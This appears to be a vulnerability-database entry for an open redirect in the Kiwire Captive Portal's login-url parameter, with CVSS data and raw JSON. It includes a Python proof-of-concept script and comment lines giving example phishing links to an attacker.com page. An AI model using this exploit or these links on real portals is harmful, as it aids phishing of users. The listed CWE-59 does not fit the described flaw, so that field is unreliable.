Security Vulnerability Report
中文
CVE-2025-11190 CVSS 5.4 MEDIUM

CVE-2025-11190

Published: 2025-10-10 11:15:42
Last Modified: 2025-11-17 14:50:03

Description

The Kiwire Captive Portal contains an open redirection issue via the login-url parameter, allowing an attacker to redirect users to an attacker controlled website.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:synchroweb:kiwire:3.6:*:*:*:*:*:*:* - VULNERABLE
Kiwire Captive Portal(所有未修复的版本,具体版本范围待厂商确认)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11190 - Kiwire Captive Portal Open Redirect PoC # Vulnerability: Open Redirect via login-url parameter # The login-url parameter does not validate the redirect target, # allowing attackers to redirect users to arbitrary external websites. import requests # Target Kiwire Captive Portal URL TARGET_URL = "https://kiwire-portal.example.com/login" # Attacker's controlled malicious website MALICIOUS_URL = "https://attacker.com/phishing-page" def exploit_open_redirect(target_url, malicious_url): """ Exploit the open redirect vulnerability by injecting a malicious URL into the login-url parameter. """ # Construct the malicious URL with the login-url parameter set to attacker-controlled site params = { "login-url": malicious_url } # Send the request (allow_redirects=False to observe the redirect) response = requests.get(target_url, params=params, allow_redirects=False) # Check if the server responded with a redirect (3xx status code) if response.status_code in (301, 302, 303, 307, 308): redirect_location = response.headers.get("Location", "") print(f"[+] Redirect detected!") print(f"[+] Status Code: {response.status_code}") print(f"[+] Location Header: {redirect_location}") if malicious_url in redirect_location: print(f"[+] VULNERABLE: Server redirected to attacker-controlled URL: {redirect_location}") return True else: print(f"[-] Not vulnerable or redirect was sanitized.") return False else: print(f"[-] No redirect response. Status: {response.status_code}") return False if __name__ == "__main__": # Example malicious link that can be sent to victims: # https://kiwire-portal.example.com/login?login-url=https://attacker.com/phishing-page exploit_open_redirect(TARGET_URL, MALICIOUS_URL) # Example malicious URL to distribute via phishing: # https://kiwire-portal.example.com/login?login-url=https://attacker.com/fake-login

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11190", "sourceIdentifier": "[email protected]", "published": "2025-10-10T11:15:41.620", "lastModified": "2025-11-17T14:50:03.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Kiwire Captive Portal contains an open redirection issue via the login-url parameter, allowing an attacker to redirect users to an attacker controlled website."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:synchroweb:kiwire:3.6:*:*:*:*:*:*:*", "matchCriteriaId": "70C4518C-CF80-4EC0-B6AE-3B3A9F78FD6D"}]}]}], "references": [{"url": "https://www.synchroweb.com/release-notes/kiwire/security", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://www.kb.cert.org/vuls/id/887923", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"]}]}}